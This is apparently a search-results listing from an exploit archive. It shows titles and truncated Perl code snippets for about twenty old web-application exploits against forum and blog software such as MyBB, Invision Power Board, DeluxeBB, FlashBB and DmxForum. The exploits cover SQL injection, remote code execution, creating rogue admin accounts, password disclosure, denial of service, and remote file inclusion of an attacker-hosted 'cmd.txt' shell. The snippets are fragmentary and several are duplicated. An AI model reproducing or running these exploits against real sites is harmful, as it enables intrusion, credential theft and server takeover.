1850 matches found
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Invision Power Board v2.1 = 2.1.6 sql injection exploit by RST/GHC Based on LOCALIP bug, more info in RST/GHC Advisory41 http://rst.void.ru/papers/advisory41.txt tested on 2.1.3, 2.1.6 08.06.06 coded by 1dt.w0lf RST/GHC http://rst.void.ru...
ej3-exec.txt
!/usr/bin/perl EJ3 TOPO 2.2 Remote Code Execution Exploit --------------------------------------------- Note : This Exploit Just run TOPO 2.2 IHST : www.Hackerz.Ir AST : www.aria-security.net Coded & Discovered By Hessam-x use LWP::UserAgent; use LWP::Simple; use HTTP::Cookies; $host = $ARGV0; $u...
EJ3 TOPo 2.2 (descripcion) Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl EJ3 TOPO 2.2 Remote Code Execution Exploit --------------------------------------------- Note : This Exploit Just run TOPO 2.2 IHST : www.Hackerz.Ir AST : www.aria-security.net Coded & Discovered By Hessam-x use LWP::UserAgent; use LWP::Simple; us...
lifesucks.pl.txt
!/usr/bin/perl -w LifeType 1.0.5 SQL injection exploit extract admin username and MD5 password Sun Jul 2 02:19:33 CEST 2006 Bug was found by Alejandro Ramos . Script by Pedro Andujar and Alex. Shoutz: !dSR www.digitalsec.net and 514-77 www.514.es ppl. Example: lifesucks.pl www.rs-labs.com blog...
ImgSvr 0.6.5 - POST Denial of Service
ImgSvr 0.6.5 - POST Denial of Service !/usr/bin/perl Proof of concept. Credit's:to n00b for finding this bug. Afected :ImgSvr.exe Download softwear: http://freshmeat.net/projects/imgsvr/ Crash the server with overly long http post request.. Main site of affected product...
sturgeon.txt
!/usr/bin/perl VulnScr: SturGeoN Upload v1 Author: Jihad BENABRA Download: http://rapidshare.de/files/24622338/2012sturgeon-1.rar.html WTF?: http://www.comscripts.com/scripts/php.sturgeon-upload.2012.html Date: Sat July 1 10:04 2006 Credits: Vuln and Xpl by DarkFig [email protected] Advisorie:...
dreamaccount.txt
---------------------------------------------------- DREAMACCOUNT V3.1 Command Execution Exploit ---------------------------------------------------- Discovered By CrAshoVeRrIdEArabian Security Team Coded By Drago84Exclusive Security Team ---------------------------------------------------- site ...
DreamAccount 3.1 - 'auth.api.php' Remote File Inclusion
!/usr/bin/perl use HTTP::Request; use LWP::UserAgent; ---------------------------------------------------- DREAMACCOUNT V3.1 Remote Command Execution Exploit ---------------------------------------------------- Discovered By CrAshoVeRrIdEArabian Security Team Coded By Drago84Exclusive Security Te...
DeluxeBB 1.07 - Remote Create Admin
!/usr/bin/perl DeluxeBB new or die; $cookiejar = HTTP::Cookies-new; $xpl-cookiejar $cookiejar ; $res = $xpl-post$url.'misc.php', Content = "sub" = "login", "name" = "$uname", "password" = "$passwd", "submit" = "Log-in", "redirect" = "", "expiry" = "990090909", ,; if$cookiejar-asstring =...
MyBulletinBoard (MyBB) 1.1.3 - usercp.php Create Admin
MyBulletinBoard MyBB 1.1.3 - usercp.php Create Admin !/usr/bin/perl MyBulletinBoard MyBB new or die; $cookiejar = HTTP::Cookies-new; $xpl-cookiejar $cookiejar ; $res = $xpl-post$url.'member.php', Content = "action" = "dologin", "username" = "$uname", "password" = "$passwd", "submit" = "Login", ,;...
Vincent-Leclercq News 5.2 - 'Diver.php' SQL Injection
source: https://www.securityfocus.com/bid/18729/info Vincent-Leclercq News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. An attacker may be able to exploit this issue to modif...
FlashBB <= 1.1.8 (phpbb_root_path) Remote File Include Exploit
Exploit for unknown platform in category web applications ============================================================== FlashBB perl flashBB.pl http://target.com/flashbb http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Contact: h4ntu email protected use LWP::UserAgent;...
FlashBB 1.1.8 - 'phpbb_root_path' Remote File Inclusion
!/usr/bin/perl TUFaT FlashBB perl flashBB.pl http://target.com/flashbb http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Contact: h4ntu [email protected] use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// ||...
mybibi_pl.txt
!/usr/bin/perl Tue Jun 13 12:37:12 CEST 2006 [email protected] Exploit HOWTO - read this before flood my Inbox you bitch! - First you need to create the special user to do this use: ./mybibi.pl --host=http://www.example.com --dir=/mybb -1 this step needs a graphic confirmation so the exploit writ...
MyBulletinBoard (MyBB) < 1.1.3 Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Tue Jun 13 12:37:12 CEST 2006 [email protected] Exploit HOWTO - read this before flood my Inbox you bitch! - First you need to create the special user to do this use: ./mybibi.pl --host=http://www.example.com --dir=/mybb -1 this step needs a graph...
DmxForum-2.1a.txt
!/usr/bin/perl by DarkFig -- www.acid-root.new.fr use LWP::Simple; if !$ARGV1 header; print "\n| Usage: ----------------|"; print "\n+------------------------------------------+"; print "\n| Example: http://localhost/dmx/ 1 ------|"; end; sub header print...
RCblog <= 1.03 (post) Remote Command Execution Exploit
Exploit for unknown platform in category web applications ====================================================== RCblog "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n";...
Dmx Forum <= v2.1a Remote Passwords Disclosure
!/usr/bin/perl by DarkFig -- www.acid-root.new.fr use LWP::Simple; if !$ARGV1 header; print "n| Usage: url memberid ----------------|"; print "n+------------------------------------------+"; print "n| Example: http://localhost/dmx/ 1 ------|"; end; sub header print...
Dmx Forum 2.1a - 'edit.php' Remote Password Disclosure
!/usr/bin/perl by DarkFig -- www.acid-root.new.fr use LWP::Simple; if !$ARGV1 header; print "\n| Usage: ----------------|"; print "\n+------------------------------------------+"; print "\n| Example: http://localhost/dmx/ 1 ------|"; end; sub header print...
Dmx Forum <= 2.1a (edit.php) Remote Password Disclosure Exploit
No description provided by source. !/usr/bin/perl by DarkFig -- www.acid-root.new.fr use LWP::Simple; if !$ARGV1 header; print "\n| Usage: url memberid ----------------|"; print "\n+------------------------------------------+"; print "\n| Example: http://localhost/dmx/ 1 ------|"; end; sub header...